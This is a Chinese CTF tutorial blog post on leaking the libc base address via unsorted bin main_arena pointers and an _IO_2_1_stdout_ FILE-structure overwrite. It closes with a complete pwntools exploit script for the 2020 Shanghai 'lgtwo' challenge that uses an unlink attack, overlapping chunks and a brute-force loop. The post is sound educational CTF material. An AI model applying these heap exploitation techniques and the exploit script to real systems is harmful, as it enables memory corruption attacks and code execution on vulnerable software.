CTF泄漏libc基址的方法

本文介绍了两种在CTF比赛中泄露libc基址的方法:main_arena泄漏法和IO_FILE泄漏法。main_arena泄漏法通过malloc_trim()找到unsorted bin中chunk的bk和fd来获取libc基址。IO_FILE泄漏法则通过控制_IO_list_all链表中的FILE结构体,修改_IO_write_base,利用puts或printf泄露libc地址。

泄漏libc

重点: glibc 的后三位是固定的

main_arena泄漏法

main_arena存储在libc.so.6文件的.data段,通过这个偏移我们就可以获取libc的基址,使用IDA打开libc文件,然后搜索函数malloc_trim()

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  1. unsorted bin中第一个chunk的bk和最后一个chunk的fd都指向main_arena+48(32位)或main_arena+88(64位)的位置

  2. 所以只需要将chunk释放到unsorted bin便可以泄漏libc的地址

IO_FIlE泄漏法

参考资料:
https://wiki.x10sec.org/pwn/linux/io_file/exploit-in-libc2.24-zh/
https://b0ldfrev.gitbook.io/note/pwn/iofile-li-yong-si-lu-zong-jie

  1. 控制指针指向libc的内存区域

  2. libc中全局变量_IO_list_all是个链表,其中含有三个FILE结构体

    _IO_2_1_stderr_

    _IO_2_1_stdout

    _IO_2_1_stdin_

  3. _IO_2_1_stdout_ 低三字节是0x620,倒数第四字节可以爆破,例如设成0x2620持续攻击,总会有随机到0x2620的时候

  4. 修改FILE结构体如下,输出的时候会输出_IO_write_base指向的位置,默认_IO_write_base指向 _shortbuf,将_IO_write_base 低两字节改为\x20会打印_IO_2_1_stdout_ 本身,其中会包含、_IO_write_base 对应的值就是_IO_2_1_stdout_ 在libc中的地址

    _flags = 0xfbad1800

    _IO_read_ptr = 0

    _IO_read_end = 0

    _IO_read_base = 0

    _IO_write_base = _IO_write_base &0xffffffffffffff00+0x20

  5. 调用puts或printf后收到的数据如下,会泄漏libc地址如下

    00000000位置是_flags

    00000020位置是_IO_write_base ->_IO_2_1_stdout_

    [DEBUG] Received 0x127 bytes:
        00000000  00 18 ad fb  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
        00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
        00000020  20 26 2b 70  6e 7f 00 00  a3 26 2b 70  6e 7f 00 00  │ &+p│n···│·&+p│n···│
        00000030  a3 26 2b 70  6e 7f 00 00  a3 26 2b 70  6e 7f 00 00  
    

    _IO_write_base 默认指向_IO_2_1_stdout_+131的位置,把_IO_write_base 的值的最后两个字节改成0x20就是_IO_2_1_stdout_在libc中的地址

    pwndbg> p _IO_2_1_stdout_
    $1 = {
      file = {
        _flags = -72537977, 
        _IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "", 
        _IO_save_base = 0x0, 
        _IO_backup_base = 0x0, 
        _IO_save_end = 0x0, 
        _markers = 0x0, 
        _chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>, 
        _fileno = 1, 
        _flags2 = 0, 
        _old_offset = -1, 
        _cur_column = 0, 
        _vtable_offset = 0 '\000', 
        _shortbuf = "\n", 
        _lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>, 
        _offset = -1, 
        _codecvt = 0x0, 
      _wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>, 
        _freeres_list = 0x0, 
        _freeres_buf = 0x0, 
        __pad5 = 0, 
        _mode = -1, 
        _unused2 = '\000' <repeats 19 times>
      }, 
      vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
    }
    pwndbg> p/x &_IO_2_1_stdout_
    $2 = 0x7ffff7dd2620
    
    //64位IO_FILE_plus结构体中的偏移
        0x0   _flags
        0x8   _IO_read_ptr
        0x10  _IO_read_end
        0x18  _IO_read_base
        0x20  _IO_write_base
        0x28  _IO_write_ptr
        0x30  _IO_write_end
        0x38  _IO_buf_base
        0x40  _IO_buf_end
        0x48  _IO_save_base
        0x50  _IO_backup_base
        0x58  _IO_save_end
        0x60  _markers
        0x68  _chain
        0x70  _fileno
        0x74  _flags2
        0x78  _old_offset
        0x80  _cur_column
        0x82  _vtable_offset
        0x83  _shortbuf
        0x88  _lock
        0x90  _offset
        0x98  _codecvt
        0xa0  _wide_data
        0xa8  _freeres_list
        0xb0  _freeres_buf
        0xb8  __pad5
        0xc0  _mode
        0xc4  _unused2
        0xd8  vtable
    
    struct _IO_FILE {
      int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
    #define _IO_file_flags _flags
    
      /* The following pointers correspond to the C++ streambuf protocol. */
      /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
      char* _IO_read_ptr;    /* Current read pointer */
      char* _IO_read_end;    /* End of get area. */
      char* _IO_read_base;    /* Start of putback+get area. */
      char* _IO_write_base;    /* Start of put area. */
      char* _IO_write_ptr;    /* Current put pointer. */
      char* _IO_write_end;    /* End of put area. */
      char* _IO_buf_base;    /* Start of reserve area. */
      char* _IO_buf_end;    /* End of reserve area. */
      /* The following fields are used to support backing up and undo. */
      char *_IO_save_base; /* Pointer to start of non-current get area. */
      char *_IO_backup_base;  /* Pointer to first valid character of backup area */
      char *_IO_save_end; /* Pointer to end of non-current get area. */
    
      struct _IO_marker *_markers;
    
      struct _IO_FILE *_chain;
    
      int _fileno;
    #if 0
    int _blksize;
    #else
      int _flags2;
    #endif
      _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
    
    #define __HAVE_COLUMN /* temporary */
      /* 1+column number of pbase(); 0 is unknown. */
      unsigned short _cur_column;
      signed char _vtable_offset;
      char _shortbuf[1];
    
      /*  char* _save_gptr;  char* _save_egptr; */
    
      _IO_lock_t *_lock;
    #ifdef _IO_USE_OLD_IO_FILE
    };
    

2020上海大学生网络安全赛lgtwo题的exp:
其他人的exp:exp

from pwn import *
import time

def exp():
  context.update(arch='amd64',os='linux',log_level='DEBUG')

  se      = lambda data               :r.send(data) 
  sa      = lambda delim,data         :r.sendafter(delim, data)
  sl      = lambda data               :r.sendline(data)
  sla     = lambda delim,data         :r.sendlineafter(delim, data)
  sea     = lambda delim,data         :r.sendafter(delim, data)
  rc      = lambda numb=4096          :r.recv(numb)
  rl      = lambda                    :r.recvline()
  ru      = lambda delims			    :r.recvuntil(delims)
  uu32    = lambda data               :u32(data.ljust(4, '\0'))
  uu64    = lambda data               :u64(data.ljust(8, '\0'))
  info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

  def debug(cmd=''):
  	time.sleep(1)
  	gdb.attach(r,cmd)
  	time.sleep(1)

  	    
  def msg(msg,addr):
  	log.warn(msg + "--> " + hex(addr))

  '''
  >> 1
  size?
  20
  content?
  123
  '''
  def add(size,content='a'):
  	sla(">> ","1")
  	sla("size?\n",str(size))
  	sea("content?\n",content)

  '''
  >> 4
  index ?
  0
  what is your new content ?
  123
  '''
  def edit(index,content):
  	sla(">> ","4")
  	sla("index ?\n",str(index))
  	sea("what is your new content ?\n",content)


  '''
  >> 2
  index ?
  0
  '''
  def free(index):
  	sla(">> ","2")
  	sla("index ?\n",str(index))
  pe = "./pwn"
  
  debug = True
  elf = ELF(pe)
  if debug:
  	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  	r = process(pe)
  else:
  	libc = ELF('./libc.so')
  	r = process(pe)

  #r = remote('192.168.0.1',20173)
  array_addr = 0x00000000006020C0 #buf

  #unlink attack
  add(0x68)#0
  add(0x90)#1

  payload = p64(0)\
  		+ p64(0x60)\
  		+ p64(array_addr-0x18)\
  		+ p64(array_addr-0x10)\
  		+ 'a'*0x40\
  		+ p64(0x60)\
  		+ b'\xa0'
  edit(0,payload)
  free(1)


  #point to same chunk
  add(0x68)#1
  add(0x40)#2
  add(0x40)#3

  edit(1,'a'*0x68+b'\xa1')
  free(2)

  add(0x48)#2
  add(0x40)#4->3
  add(0x40)#5
  add(0x40)#6

  #array[1]=main_arean+88
  edit(2,'a'*0x48+b'\xa1')
  free(4)
  edit(3,p64(0)+p64(array_addr-0x8)) #array[1]=main_arean+88
  add(0x90)#4

  #brute std_out
  edit(0,p64(0)*3+p64(array_addr)+p16(0x2620))
  edit(1,p64(0xfbad1800)+p64(0)*3+b'\x20')
  
  ret = u64(rc(8))
  if ret!=0xfbad1800:
  	log.warn(hex(ret))
  	r.close()
  	return
  
  log.success("success")
  rc(0x18)
  stdout_addr = u64(rc(8))
  msg("stdout",stdout_addr)
  libc.address = stdout_addr-libc.symbols['_IO_2_1_stdout_']
  msg("libc base",libc.address)

  r.interactive()

while True:
  try:
  	exp()
  	#break
  except:
  	log.warn("Error")
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值